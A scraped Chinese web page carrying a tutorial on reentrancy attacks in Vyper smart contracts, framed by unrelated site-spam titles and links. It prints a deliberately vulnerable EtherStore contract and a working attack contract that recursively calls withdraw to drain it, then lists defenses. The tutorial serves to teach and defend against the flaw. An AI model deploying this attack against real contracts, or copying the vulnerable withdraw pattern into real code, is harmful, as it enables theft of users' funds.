当前位置: 首页 > news >正文

用vuejs做网站淮北房产网

用vuejs做网站,淮北房产网,网站后台排版,苏州h5网站建设价钱什么是重入攻击 Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时#xff0c;就会发生重入攻击。然后#xff0c;不可信合约会递归调用原始函数#xff0c;试图耗尽资金。 当合约在发送资金之前未能更新其状态时#…什么是重入攻击 Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时就会发生重入攻击。然后不可信合约会递归调用原始函数试图耗尽资金。 当合约在发送资金之前未能更新其状态时攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击导致损失了6000万美元。 重入攻击工作原理 重入攻击涉及两个智能合约。一个是易受攻击的合约另一个是攻击者的不可信合约。 重入攻击场景 易受攻击的智能合约有10个ETH。攻击者使用存款函数存入1个ETH。攻击者调用提取函数并将恶意合约作为接收者。现在提取函数将验证它是否可以执行 攻击者在其余额上有1个ETH吗是的因为他们的存款。向恶意合约转移1个ETH。注意攻击者的余额尚未更新恶意合约接收到ETH后的回退函数再次调用提取函数。 现在提取函数将再次验证它是否可以执行 攻击者在其余额上有1个ETH吗是的因为余额尚未更新。向恶意合约转移1个ETH。如此反复直到攻击者耗尽合约中的所有资金。 Vyper重入攻击 可能大家对solidity的智能合约重入攻击比较熟悉本次文章中我们将以Vyper的代码展示重入攻击的漏洞。 Vyper存在重入攻击的代码示例 # version 0.3.2 notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later. This contract is vulnerable to re-entrancy attack. Here is the attack flow: 1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore. 2. Deploy the Attack contract. 3. Call the Attack contracts attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened? Attack was able to call EtherStore.withdraw multiple times before EtherStore.withdraw finished executing. # notice Mapping from address to ETH balance held in the contract balances: public(HashMap[address, uint256])# notice Function to deposit ETH into the contract external payable def deposit():self.balances[msg.sender] msg.value# notice Function to withdraw the ETH deposited into the contract external def withdraw():bal: uint256 self.balances[msg.sender]assert bal 0, This account does not have a balance# dev Send the users balance to them using raw callraw_call(msg.sender, b, valuebal)# dev Set users balance to 0self.balances[msg.sender] 0# notice Helper function to get the balance of the contract external view def getBalance() - uint256:return self.balanceVyper利用上述重入漏洞的攻击合约 # version 0.3.2 notice Here is the order of function calls during the attack - Attack.attack - EtherStore.deposit - EtherStore.withdraw - Attack.default (receives 1 Ether) - EtherStore.withdraw - Attack.default (receives 1 Ether) - EtherStore.withdraw - Attack.ldefault (receives 1 Ether) # notice Interface with the Etherstore contract interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() - uint256: view# notice The address where the Etherstore contract is deployed victim: public(address)# notice Set the victim address external def setVictim(_victim:address):self.victim _victim# notice Default is called when EtherStore sends ETH to this contract. external payable def __default__():# dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() as_wei_value(1, ether):IEtherstore(self.victim).withdraw()external payable def attack():assert msg.value as_wei_value(1, ether), Must send 1 ETHIEtherstore(self.victim).deposit(valueas_wei_value(1, ether))IEtherstore(self.victim).withdraw()# notice Helper function to get the balance of the contract external view def getBalance() - uint256:return self.balanceVyper重入漏洞防御措施 使用 send() 代替 call()重入攻击将失败因为 send() 不会转发足够的 gas 进行下一步操作。 使用 nonreentrant(key) 修饰符在你的提取函数上应用此修饰符将阻止重入攻击。 总结 在这篇文章中我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁当合约在发送资金之前未能更新其状态时攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见在Vyper智能合约中同样应该注意
http://www.hkea.cn/news/14401381/

相关文章:

  • 爱建站吧惠州网站设计培训
  • 书本翻页 网站模板广州公司网站建设推广
  • 关于平面设计的网站电脑网页制作培训
  • 快手网站题怎么做网站建设不包括以下哪个阶段
  • h5企业模板网站模板网站设计的导航栏怎么做
  • html5公司网站源码网站主页不收录
  • 如何创网站中铁中基建设集团网站
  • 上饶招聘网站建设公司做的网站百度上可以搜到吗
  • 做网站的数据库的选择谷歌浏览器网页版进入
  • 网站开发付款方式和比例页面设计怎么写
  • 企业网站建设公司名称网站设计策划书模板
  • 甘肃网站推广百度网盟推广体验中心
  • 网站开发人员的要求wordpress快速配图
  • 网站模板制作教程视频教程全国封城名单
  • 怎么在网站上做抽奖企业文化展厅设计
  • 自微网站驰够网官方网站
  • 做网站保证效果建站公司 万维科技
  • 网站平台建设专家意见网站开发有哪些课程
  • 歪歪小站 wordpress有网站建wap
  • 成都 商业网站建设网上做题扣分在哪个网站上做
  • 建网页和建网站互联网营销师报考费用
  • 网站建设竞品调研做吗查网站的流量
  • 怎么把自己的网站推广出去专门做字体设计的网站
  • 网站建设费往什么科目移动端前端开发需要学什么
  • 专业做pc+手机网站温岭建设局网站
  • 网站如何做谷歌优化网站开发 开源
  • 美食网站建设代理服务器怎么设置
  • 吉安哪家做网站的公司好东坑仿做网站
  • wordpress下拉列表十堰seo优化分析
  • 天河网站建设阳谷网站开发